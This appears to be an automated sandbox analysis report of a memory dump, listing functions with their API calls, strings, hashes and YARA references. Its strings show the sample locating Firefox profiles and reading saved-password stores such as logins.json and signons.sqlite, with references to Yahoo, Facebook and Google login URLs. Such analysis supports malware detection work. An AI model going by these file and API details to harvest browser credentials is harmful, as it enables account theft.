signons.sqlite, xrefs: 00407B4C, 00407B61
logins.json, xrefs: 00407B89, 00407B9E
signons3.txt, xrefs: 00407B0F, 00407B24
signons2.txt, xrefs: 00407AD2, 00407AE7

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcslen$memset$AddressProc$CurrentDirectory$LibraryLoad$AttributesByteCharFileHandleModuleMultiWidewcscatwcscpy
String ID: logins.json$signons.sqlite$signons.txt$signons2.txt$signons3.txt
API String ID: 3287676187-2852686199
Opcode ID: 6d2dbc4a8d8c8c239b25a6953494f436143b7a42b7e5b6c63bed29ca333ff50f
Instruction ID: 7d0a504a01980ca961e130c4bf0e7e2836c0561e9ae5ad9b50c10663cf81d5b6
Opcode Fuzzy Hash: 6d2dbc4a8d8c8c239b25a6953494f436143b7a42b7e5b6c63bed29ca333ff50f
Instruction Fuzzy Hash: 1F91947180811DABEF11EF51DC41A9E77B8FF44319F1004ABF908E2191EB79AA548B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00411158, Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 171COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041117B
wcslen.MSVCRT ref: 00411183
wcslen.MSVCRT ref: 0041118F
wcscpy.MSVCRT ref: 00411206
wcscpy.MSVCRT ref: 00411217
memset.MSVCRT ref: 00411230
memset.MSVCRT ref: 00411245
_snwprintf.MSVCRT ref: 0041125F
memset.MSVCRT ref: 0041129E
wcslen.MSVCRT ref: 004112AE
wcslen.MSVCRT ref: 004112BC
wcscpy.MSVCRT ref: 00411272

Part of subcall function 004083D6: wcscpy.MSVCRT ref: 004083DE
Part of subcall function 004083D6: wcscat.MSVCRT ref: 004083ED

wcscpy.MSVCRT ref: 00411303
memset.MSVCRT ref: 00411332
memset.MSVCRT ref: 00411347
_snwprintf.MSVCRT ref: 00411363
wcscpy.MSVCRT ref: 00411376

Strings

profiles.ini, xrefs: 00411188, 004111A4
Profile%d, xrefs: 0041124B, 00411355
General, xrefs: 00411211
IsRelative, xrefs: 004113A6
Path, xrefs: 0041138B

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memsetwcscpy$wcslen$_snwprintf$wcscat
String ID: General$IsRelative$Path$Profile%d$profiles.ini
API String ID: 3014334669-2600475665
Opcode ID: 8b331d522e2951b2ba0f7e24a9ab3c25202a03d20dbedb5e26c57a336433e963
Instruction ID: c42e31a804922eed0ec5ba890dd8b4603cdc71837868ac6ae30ebb97505d8267
Opcode Fuzzy Hash: 8b331d522e2951b2ba0f7e24a9ab3c25202a03d20dbedb5e26c57a336433e963
Instruction Fuzzy Hash: 7D51557290122CAAEB20EB55CD45FDEB7BCAF55344F1040E7B508A2151EF789B848F99

Uniqueness

Uniqueness Score: -1.00%

Function 0040EB6D, Relevance: 37.0, APIs: 17, Strings: 4, Instructions: 274windowregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040B5D4: LoadMenuW.USER32 ref: 0040B5DC

SetMenu.USER32(?,00000000), ref: 0040EC7A
CreateStatusWindowW.COMCTL32(50000000,Function_0004552C,?,00000101), ref: 0040EC95
SendMessageW.USER32(00000000,00000404,00000001,?), ref: 0040ECAD
GetModuleHandleW.KERNEL32(00000000), ref: 0040ECBC
LoadImageW.USER32 ref: 0040ECC9
CreateToolbarEx.COMCTL32(?,50010900,00000102,00000006,00000000,00000000,?,00000007,00000010,00000010,00000060,00000010,00000014), ref: 0040ECF3
GetModuleHandleW.KERNEL32(00000000), ref: 0040ED00
CreateWindowExW.USER32 ref: 0040ED27
memcpy.MSVCRT ref: 0040EDEF
ShowWindow.USER32(?,?), ref: 0040EE25
GetFileAttributesW.KERNEL32(00453928), ref: 0040EE56
GetTempPathW.KERNEL32(00000104,00453928), ref: 0040EE66
wcslen.MSVCRT ref: 0040EE6D
wcslen.MSVCRT ref: 0040EE7B
RegisterWindowMessageW.USER32(commdlg_FindReplace,00000001), ref: 0040EEC8
SendMessageW.USER32(?,00000404,00000002,?), ref: 0040EF02
SendMessageW.USER32(?,0000040B,00001001,00000000), ref: 0040EF15

Part of subcall function 00403D7A: wcslen.MSVCRT ref: 00403D97
Part of subcall function 00403D7A: SendMessageW.USER32(?,00001061,?,?), ref: 00403DBB

Strings

commdlg_FindReplace, xrefs: 0040EEC3
/nosaveload, xrefs: 0040EDAC
report.html, xrefs: 0040EE74, 0040EE8C
SysListView32, xrefs: 0040ED21

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Message$SendWindow$Createwcslen$HandleLoadMenuModule$AttributesFileImagePathRegisterShowStatusTempToolbarmemcpy
String ID: /nosaveload$SysListView32$commdlg_FindReplace$report.html
API String ID: 1225797202-2103577948
Opcode ID: 9d98e6f2fbb5c69645150cf5077508ab95bdd3e46f00e280708d5f032f5596ec
Instruction ID: 8c9b3575536fccf7ef0877cb0e8d9f23cb5666ec72f10922821c14b88f39767b
Opcode Fuzzy Hash: 9d98e6f2fbb5c69645150cf5077508ab95bdd3e46f00e280708d5f032f5596ec
Instruction Fuzzy Hash: B5B1A271540388AFEF11DF64CC89BCA7FA5AF55304F0404BAFA48AF292C7B99544CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00403768, Relevance: 36.1, APIs: 24, Instructions: 84windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0040E076: memset.MSVCRT ref: 0040E0B9
Part of subcall function 0040E076: memset.MSVCRT ref: 0040E0CE
Part of subcall function 0040E076: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 0040E0E0
Part of subcall function 0040E076: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 0040E0FE
Part of subcall function 0040E076: SendMessageW.USER32(?,00001003,00000001,?), ref: 0040E13B
Part of subcall function 0040E076: ImageList_Create.COMCTL32(00000020,00000020,00000019,00000001,00000001), ref: 0040E14F
Part of subcall function 0040E076: ImageList_SetImageCount.COMCTL32(00000000,00000008), ref: 0040E15A
Part of subcall function 0040E076: SendMessageW.USER32(?,00001003,00000000,?), ref: 0040E172
Part of subcall function 0040E076: ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 0040E17E
Part of subcall function 0040E076: GetModuleHandleW.KERNEL32(00000000), ref: 0040E18D
Part of subcall function 0040E076: LoadImageW.USER32 ref: 0040E19F
Part of subcall function 0040E076: GetModuleHandleW.KERNEL32(00000000), ref: 0040E1AA
Part of subcall function 0040E076: LoadImageW.USER32 ref: 0040E1BC
Part of subcall function 0040E076: ImageList_SetImageCount.COMCTL32(?,00000000), ref: 0040E1CD
Part of subcall function 0040E076: GetSysColor.USER32(0000000F), ref: 0040E1D5

GetModuleHandleW.KERNEL32(00000000), ref: 0040377A
LoadIconW.USER32(00000000,00000072), ref: 00403785
ImageList_ReplaceIcon.COMCTL32(?,00000000,00000000), ref: 00403796
GetModuleHandleW.KERNEL32(00000000), ref: 0040379A
LoadIconW.USER32(00000000,00000074), ref: 0040379F
ImageList_ReplaceIcon.COMCTL32(?,00000001,00000000), ref: 004037AA
GetModuleHandleW.KERNEL32(00000000), ref: 004037AE
LoadIconW.USER32(00000000,00000073), ref: 004037B3
ImageList_ReplaceIcon.COMCTL32(?,00000002,00000000), ref: 004037BE
GetModuleHandleW.KERNEL32(00000000), ref: 004037C2
LoadIconW.USER32(00000000,00000075), ref: 004037C7
ImageList_ReplaceIcon.COMCTL32(?,00000003,00000000), ref: 004037D2
GetModuleHandleW.KERNEL32(00000000), ref: 004037D6
LoadIconW.USER32(00000000,0000006F), ref: 004037DB
ImageList_ReplaceIcon.COMCTL32(?,00000004,00000000), ref: 004037E6
GetModuleHandleW.KERNEL32(00000000), ref: 004037EA
LoadIconW.USER32(00000000,00000076), ref: 004037EF
ImageList_ReplaceIcon.COMCTL32(?,00000005,00000000), ref: 004037FA
GetModuleHandleW.KERNEL32(00000000), ref: 004037FE
LoadIconW.USER32(00000000,00000077), ref: 00403803
ImageList_ReplaceIcon.COMCTL32(?,00000006,00000000), ref: 0040380E
GetModuleHandleW.KERNEL32(00000000), ref: 00403812
LoadIconW.USER32(00000000,00000070), ref: 00403817
ImageList_ReplaceIcon.COMCTL32(?,00000007,00000000), ref: 00403822

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: IconImage$List_$HandleLoadModule$Replace$CountCreateMessageSendmemset$ColorDirectoryFileInfoWindows
String ID:
API String ID: 715923342-0
Opcode ID: 620d69d8077533c60e47300747d931a5e3fb9ffd49415cf9926755a482ff0520
Instruction ID: b7e10a9324f3d83bf9194ece928487740f847c1137f1a2c01f1b8e69b6e47de2
Opcode Fuzzy Hash: 620d69d8077533c60e47300747d931a5e3fb9ffd49415cf9926755a482ff0520
Instruction Fuzzy Hash: 1711F160B857087AFA3137B2DC4BF7B7A5EDF81B85F114414F35D990E0C9E6AC105928

Uniqueness

Uniqueness Score: -1.00%

Function 00443D20, Relevance: 33.4, APIs: 8, Strings: 11, Instructions: 139COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(0040BDC4,?,00000000), ref: 00443D36
??2@YAPAXI@Z.MSVCRT ref: 00443D51
GetFileVersionInfoW.VERSION(0040BDC4,00000000,?,00000000,00000000,0040BDC4,?,00000000), ref: 00443D61
VerQueryValueW.VERSION(00000000,0044A4B4,0040BDC4,?,0040BDC4,00000000,?,00000000,00000000,0040BDC4,?,00000000), ref: 00443D74
VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0044A4B4,0040BDC4,?,0040BDC4,00000000,?,00000000,00000000,0040BDC4,?,00000000), ref: 00443DB1
_snwprintf.MSVCRT ref: 00443DD1
wcscpy.MSVCRT ref: 00443DFB
??3@YAXPAX@Z.MSVCRT ref: 00443EAB

Strings

040904E4, xrefs: 00443DF5
\VarFileInfo\Translation, xrefs: 00443DAB
CompanyName, xrefs: 00443E53
ProductName, xrefs: 00443E02
OriginalFileName, xrefs: 00443E92
%4.4X%4.4X, xrefs: 00443DC6
InternalName, xrefs: 00443E68
ProductVersion, xrefs: 00443E3E
LegalCopyright, xrefs: 00443E7D
FileDescription, xrefs: 00443E14
FileVersion, xrefs: 00443E29

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileInfoQueryValueVersion$??2@??3@Size_snwprintfwcscpy
String ID: %4.4X%4.4X$040904E4$CompanyName$FileDescription$FileVersion$InternalName$LegalCopyright$OriginalFileName$ProductName$ProductVersion$\VarFileInfo\Translation
API String ID: 1223191525-1542517562
Opcode ID: f160691ecdb482a839b0d8bd7ec2443cf0dfcac9d5922b70f5c8bd6361710c8c
Instruction ID: f644ee0d2354bfc8442d092a800b66c1527b1609597f5fb91e8fdc391f94498a
Opcode Fuzzy Hash: f160691ecdb482a839b0d8bd7ec2443cf0dfcac9d5922b70f5c8bd6361710c8c
Instruction Fuzzy Hash: 164133B2900218BAEB04EFA1DD82DDEB7BCAF48704F110517B515A3142DB78EA559BA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040E076, Relevance: 33.1, APIs: 22, Instructions: 137windowCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040E0B9
memset.MSVCRT ref: 0040E0CE
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 0040E0E0
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 0040E0FE
ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 0040E117
ImageList_SetImageCount.COMCTL32(00000000,00000008), ref: 0040E122
SendMessageW.USER32(?,00001003,00000001,?), ref: 0040E13B
ImageList_Create.COMCTL32(00000020,00000020,00000019,00000001,00000001), ref: 0040E14F
ImageList_SetImageCount.COMCTL32(00000000,00000008), ref: 0040E15A
SendMessageW.USER32(?,00001003,00000000,?), ref: 0040E172
ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 0040E17E
GetModuleHandleW.KERNEL32(00000000), ref: 0040E18D
LoadImageW.USER32 ref: 0040E19F
GetModuleHandleW.KERNEL32(00000000), ref: 0040E1AA
LoadImageW.USER32 ref: 0040E1BC
ImageList_SetImageCount.COMCTL32(?,00000000), ref: 0040E1CD
GetSysColor.USER32(0000000F), ref: 0040E1D5
ImageList_AddMasked.COMCTL32(?,00000000,00000000), ref: 0040E1F0
ImageList_AddMasked.COMCTL32(?,?,?), ref: 0040E200
DeleteObject.GDI32(?), ref: 0040E20C
DeleteObject.GDI32(?), ref: 0040E212
SendMessageW.USER32(00000000,00001208,00000000,?), ref: 0040E22F

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Image$List_$CountCreateMessageSend$DeleteHandleLoadMaskedModuleObjectmemset$ColorDirectoryFileInfoWindows
String ID:
API String ID: 304928396-0
Opcode ID: 0e0f0537c5a9146dc27172f456af1fd8f34a183f9f4551b6ad3cfb99057e354f
Instruction ID: d1f198460081c9bd407666b3734bdbb6004887ae833e7bd4338906f330e243fe
Opcode Fuzzy Hash: 0e0f0537c5a9146dc27172f456af1fd8f34a183f9f4551b6ad3cfb99057e354f
Instruction Fuzzy Hash: F241E975640704BFEB20AF70DC4AF9777ADFB09705F000829F399A91D1CAF5A8508B29

Uniqueness

Uniqueness Score: -1.00%

Function 00406B51, Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 198registrytimeCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406B72

Part of subcall function 00413E4F: RegOpenKeyExW.KERNELBASE(80000002,80000002,00000000,00020019,80000002,004145EB,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,?), ref: 00413E62

_wcsnicmp.MSVCRT ref: 00406BE5
memset.MSVCRT ref: 00406C09
memset.MSVCRT ref: 00406C25
_snwprintf.MSVCRT ref: 00406C45
wcsrchr.MSVCRT ref: 00406C6C
CompareFileTime.KERNEL32(?,?,00000000), ref: 00406C9F
wcscpy.MSVCRT ref: 00406CC1
memset.MSVCRT ref: 00406BBF

Part of subcall function 00413EE6: RegEnumKeyExW.ADVAPI32(00000000,00411799,00411799,?,00000000,00000000,00000000,00411799,00411799,00000000), ref: 00413F09

RegCloseKey.ADVAPI32(00411799), ref: 00406CF9
wcscpy.MSVCRT ref: 00406D07
ExpandEnvironmentStringsW.KERNEL32(%programfiles%\Mozilla Firefox,?,00000104,?,?,?,?,00000000,?), ref: 00406D22
GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,?,?,?,?,00000000,?), ref: 00406D62

Strings

%s\bin, xrefs: 00406C34
PathToExe, xrefs: 00406C4A
%programfiles%\Mozilla Firefox, xrefs: 00406D1D
SOFTWARE\Mozilla, xrefs: 00406B8E
mozilla, xrefs: 00406BDF

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset$wcscpy$CloseCompareCurrentDirectoryEnumEnvironmentExpandFileOpenStringsTime_snwprintf_wcsnicmpwcsrchr
String ID: %programfiles%\Mozilla Firefox$%s\bin$PathToExe$SOFTWARE\Mozilla$mozilla
API String ID: 1094916163-2797892316
Opcode ID: 07749401729549ea18023a88aae6b7e086f03ff84713cd47a7d93030012f0eb7
Instruction ID: 3a0c8bae75b73356f025c28445405007b897e2e36fb84af6dfbdfac580efd4a0
Opcode Fuzzy Hash: 07749401729549ea18023a88aae6b7e086f03ff84713cd47a7d93030012f0eb7
Instruction Fuzzy Hash: 9961BBB2D04229AAEF20EBA1CC45BDF77BCFF45344F010476E909F2181EB795A548B59

Uniqueness

Uniqueness Score: -1.00%

Function 00414847, Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 103COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414869
memset.MSVCRT ref: 0041487E
wcscpy.MSVCRT ref: 004148B0
_snwprintf.MSVCRT ref: 004148D0
wcscat.MSVCRT ref: 004148DD
_snwprintf.MSVCRT ref: 0041490C
wcscat.MSVCRT ref: 00414919
wcscat.MSVCRT ref: 00414927
wcscat.MSVCRT ref: 00414939
wcscat.MSVCRT ref: 00414944
wcscat.MSVCRT ref: 00414956
wcscat.MSVCRT ref: 00414968

Strings

</font>, xrefs: 00414962
<font, xrefs: 004148AA
color="#%s", xrefs: 004148FB
</b>, xrefs: 00414950
size="%d", xrefs: 004148BF
<b>, xrefs: 00414933

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcscat$_snwprintfmemset$wcscpy
String ID: color="#%s"$ size="%d"$</b>$</font>$<b>$<font
API String ID: 3143752011-1996832678
Opcode ID: fea471720f089f9426c79df6b96a0c1db0a5d7cfe671986570c98e4288bdff5f
Instruction ID: 7b6d47d0ae84673c1440bb3f6a45a38d491a9b2de853a8b7013f3412f20213e7
Opcode Fuzzy Hash: fea471720f089f9426c79df6b96a0c1db0a5d7cfe671986570c98e4288bdff5f
Instruction Fuzzy Hash: FC31B9B6504305BAF720EA55DD86EAB73BCDBC1714F20406FF214B2182EB7C99858A5D

Uniqueness

Uniqueness Score: -1.00%

Function 004118EA, Relevance: 31.5, APIs: 9, Strings: 9, Instructions: 41libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,00409807,?,000000FF,00000000,00000104), ref: 004118FD
GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00411914
GetProcAddress.KERNEL32(NtLoadDriver), ref: 00411926
GetProcAddress.KERNEL32(NtUnloadDriver), ref: 00411938
GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 0041194A
GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 0041195C
GetProcAddress.KERNEL32(NtQueryObject), ref: 0041196E
GetProcAddress.KERNEL32(NtSuspendProcess), ref: 00411980
GetProcAddress.KERNEL32(NtResumeProcess), ref: 00411992

Strings

NtQuerySystemInformation, xrefs: 00411909
ntdll.dll, xrefs: 004118F8
NtSuspendProcess, xrefs: 00411970
NtLoadDriver, xrefs: 00411916
NtUnloadDriver, xrefs: 00411928
NtOpenSymbolicLinkObject, xrefs: 0041193A
NtQuerySymbolicLinkObject, xrefs: 0041194C
NtResumeProcess, xrefs: 00411982
NtQueryObject, xrefs: 0041195E

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: NtLoadDriver$NtOpenSymbolicLinkObject$NtQueryObject$NtQuerySymbolicLinkObject$NtQuerySystemInformation$NtResumeProcess$NtSuspendProcess$NtUnloadDriver$ntdll.dll
API String ID: 667068680-2887671607
Opcode ID: d8ef7826caabcaaffc412af8f074007f850e332e68426ef7b20180a0e9148960
Instruction ID: 49f1c8a85f5507baf9409120c02bba5f1b3352987f0cf3d6caa0177263683d24
Opcode Fuzzy Hash: d8ef7826caabcaaffc412af8f074007f850e332e68426ef7b20180a0e9148960
Instruction Fuzzy Hash: 6C01C8F5D80314BADB216FB1AC8AA053EA5F71C7D3710883BE42452272D778C610CE9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040D399, Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 185COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040D3BA
memset.MSVCRT ref: 0040D3E4
memset.MSVCRT ref: 0040D3FA
memset.MSVCRT ref: 0040D410
_snwprintf.MSVCRT ref: 0040D449
wcscpy.MSVCRT ref: 0040D494
_snwprintf.MSVCRT ref: 0040D521
wcscat.MSVCRT ref: 0040D553

Part of subcall function 00414777: _snwprintf.MSVCRT ref: 0041479B

wcscpy.MSVCRT ref: 0040D535
_snwprintf.MSVCRT ref: 0040D592

Strings

<table border="1" cellpadding="5">, xrefs: 0040D451
bgcolor="%s", xrefs: 0040D43B
</table><p>, xrefs: 0040D5B6
<font color="%s">%s</font>, xrefs: 0040D514
nowrap, xrefs: 0040D48E
<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s, xrefs: 0040D3C2
 , xrefs: 0040D54D

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _snwprintfmemset$wcscpy$wcscat
String ID: bgcolor="%s"$ nowrap$ $</table><p>$<font color="%s">%s</font>$<table border="1" cellpadding="5">$<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
API String ID: 1607361635-601624466
Opcode ID: 9c4e98fc668ec826f20e0b002b8e58c954f250be10c1ab6a9c58bcae2153cd4d
Instruction ID: 86ecdfe433e0374b5ced7b433421c6295f8700cac4d68a1fbb2313435c6baabf
Opcode Fuzzy Hash: 9c4e98fc668ec826f20e0b002b8e58c954f250be10c1ab6a9c58bcae2153cd4d
Instruction Fuzzy Hash: 6561A171900208EFEF14EF94CC85EAE7B79EF45314F1001AAF815A72D2DB38AA55CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040D9D6, Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 122COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040D9FC
memset.MSVCRT ref: 0040DA11
memset.MSVCRT ref: 0040DA26
_snwprintf.MSVCRT ref: 0040DA55
_snwprintf.MSVCRT ref: 0040DA84
wcscpy.MSVCRT ref: 0040DA95
_snwprintf.MSVCRT ref: 0040DAB5
memset.MSVCRT ref: 0040DAF4
_snwprintf.MSVCRT ref: 0040DB15
_snwprintf.MSVCRT ref: 0040DB4F

Part of subcall function 00414777: _snwprintf.MSVCRT ref: 0041479B

Strings

</font>, xrefs: 0040DA8F
bgcolor="%s", xrefs: 0040DA44
<font color="%s">, xrefs: 0040DA73
width="%s", xrefs: 0040DB04
<table border="1" cellpadding="5"><tr%s>, xrefs: 0040DAA4
<th%s>%s%s%s, xrefs: 0040DB3E

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _snwprintf$memset$wcscpy
String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
API String ID: 2000436516-3842416460
Opcode ID: ca54b146358acc6312ccae977809877886edf0d219006698e2b397220b1af42e
Instruction ID: d19b445dff31b0d86a25f5297df5c333c47444227bfe33656549cbc54b746d40
Opcode Fuzzy Hash: ca54b146358acc6312ccae977809877886edf0d219006698e2b397220b1af42e
Instruction Fuzzy Hash: 1D4142B1D40219AAEB20EF95CC85FFB737CFF45304F4540ABB918A2191E7389A948F65

Uniqueness

Uniqueness Score: -1.00%

Function 0040BD50, Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 95COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040BD76
memset.MSVCRT ref: 0040BD92

Part of subcall function 00408282: GetModuleFileNameW.KERNEL32(00000000,00000208,00000104,0040BE8F,00000000,0040BD42,?,00000000,00000208,?), ref: 0040828D

Part of subcall function 00443D20: GetFileVersionInfoSizeW.VERSION(0040BDC4,?,00000000), ref: 00443D36
Part of subcall function 00443D20: ??2@YAPAXI@Z.MSVCRT ref: 00443D51
Part of subcall function 00443D20: GetFileVersionInfoW.VERSION(0040BDC4,00000000,?,00000000,00000000,0040BDC4,?,00000000), ref: 00443D61
Part of subcall function 00443D20: VerQueryValueW.VERSION(00000000,0044A4B4,0040BDC4,?,0040BDC4,00000000,?,00000000,00000000,0040BDC4,?,00000000), ref: 00443D74
Part of subcall function 00443D20: VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0044A4B4,0040BDC4,?,0040BDC4,00000000,?,00000000,00000000,0040BDC4,?,00000000), ref: 00443DB1
Part of subcall function 00443D20: _snwprintf.MSVCRT ref: 00443DD1
Part of subcall function 00443D20: wcscpy.MSVCRT ref: 00443DFB

wcscpy.MSVCRT ref: 0040BDD6
wcscpy.MSVCRT ref: 0040BDE5
wcscpy.MSVCRT ref: 0040BDF5
EnumResourceNamesW.KERNEL32(0040BEF4,00000004,0040BB24,00000000), ref: 0040BE5A
EnumResourceNamesW.KERNEL32(0040BEF4,00000005,0040BB24,00000000), ref: 0040BE64
wcscpy.MSVCRT ref: 0040BE6C

Strings

general, xrefs: 0040BDEA
strings, xrefs: 0040BE66
Version, xrefs: 0040BE28
TranslatorName, xrefs: 0040BE01
TranslatorURL, xrefs: 0040BE12
RTL, xrefs: 0040BE3B

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcscpy$File$EnumInfoNamesQueryResourceValueVersionmemset$??2@ModuleNameSize_snwprintf
String ID: RTL$TranslatorName$TranslatorURL$Version$general$strings
API String ID: 3037099051-517860148
Opcode ID: 2fcdf58697040aa4c7eb54e95d53208f650488f18f63fe222914c72976027cdc
Instruction ID: d02a95b1ac945ad733c6c475c60bd1556454897fd3a1253caa6bc47d13ece21f
Opcode Fuzzy Hash: 2fcdf58697040aa4c7eb54e95d53208f650488f18f63fe222914c72976027cdc
Instruction Fuzzy Hash: AD21A9B294021876EB20BB529C46FCB7B6CDF55754F00047BF50871192DBBC9A94C6EE

Uniqueness

Uniqueness Score: -1.00%

Function 00403C2A, Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(advapi32.dll,?,0040A9C2,?,https://login.yahoo.com/config/login,00000000,http://www.facebook.com/,00000000,https://www.google.com/accounts/servicelogin,00000000,?,00000000,?,00411E75,?,?), ref: 00403C35
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 00403C49
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00403C55
GetProcAddress.KERNEL32(?,CryptCreateHash), ref: 00403C61
GetProcAddress.KERNEL32(?,CryptGetHashParam), ref: 00403C6D
GetProcAddress.KERNEL32(?,CryptHashData), ref: 00403C79
GetProcAddress.KERNEL32(?,CryptDestroyHash), ref: 00403C85

Strings

CryptDestroyHash, xrefs: 00403C7B
CryptGetHashParam, xrefs: 00403C63
CryptAcquireContextA, xrefs: 00403C41
CryptCreateHash, xrefs: 00403C57
CryptReleaseContext, xrefs: 00403C4B
advapi32.dll, xrefs: 00403C30
CryptHashData, xrefs: 00403C6F

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CryptAcquireContextA$CryptCreateHash$CryptDestroyHash$CryptGetHashParam$CryptHashData$CryptReleaseContext$advapi32.dll
API String ID: 2238633743-1621422469
Opcode ID: 75ed6b8b2212405dc2e3096810b13c68b16b60bade9346944bfe3eeaaf52b7e4
Instruction ID: d7a6577b60cfc464e8e16958ee64dd601e1a2e2a5708563609cb1b578f097ad1
Opcode Fuzzy Hash: 75ed6b8b2212405dc2e3096810b13c68b16b60bade9346944bfe3eeaaf52b7e4
Instruction Fuzzy Hash: A2F0F974940B44AFEF306F769D49E06BEF0EFA87017214D2EE0C1A3651D7B99100CE48

Uniqueness

Uniqueness Score: -1.00%

Function 00407737, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 184stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407D7B: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00444305,00000000,?,00000000,00000000,0041274B,?,?), ref: 00407D8D

GetFileSize.KERNEL32(00000000,00000000,00000000,00000001,00000000,?,00407C89,?,?,?,0000001E), ref: 00407760
??2@YAPAXI@Z.MSVCRT ref: 00407774

Part of subcall function 0040897D: ReadFile.KERNELBASE(?,?,CCD,00000000,00000000,?,?,00444343,00000000,00000000), ref: 00408994

memset.MSVCRT ref: 004077A6
memset.MSVCRT ref: 004077C8
memset.MSVCRT ref: 004077DD
strcmp.MSVCRT ref: 0040781C
strcpy.MSVCRT(?,?,?,?,?,?), ref: 004078B2
strcpy.MSVCRT(?,?,?,?,?,?), ref: 004078D1
memset.MSVCRT ref: 004078E5
strcmp.MSVCRT ref: 00407949
??3@YAXPAX@Z.MSVCRT ref: 0040797B
CloseHandle.KERNEL32(?,?,00407C89,?,?,?,0000001E), ref: 00407984

Strings

---, xrefs: 00407943

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset$File$strcmpstrcpy$??2@??3@CloseCreateHandleReadSize
String ID: ---
API String ID: 3751793120-2854292027
Opcode ID: 2a857cbeb5ab5e1bd89b1bc0351e99f96f5a4f3ec23066d0f11bd49c9005f69b
Instruction ID: 5eab4b77d8efc932d29ad1d752f1a4839dd8d7bf75d011c8978729a0abaaed7e
Opcode Fuzzy Hash: 2a857cbeb5ab5e1bd89b1bc0351e99f96f5a4f3ec23066d0f11bd49c9005f69b
Instruction Fuzzy Hash: 856159B2C0416D9ADF20EB948C859DEBB7C9B15314F1041FBE518B3141DA385FC4CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00412F99, Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

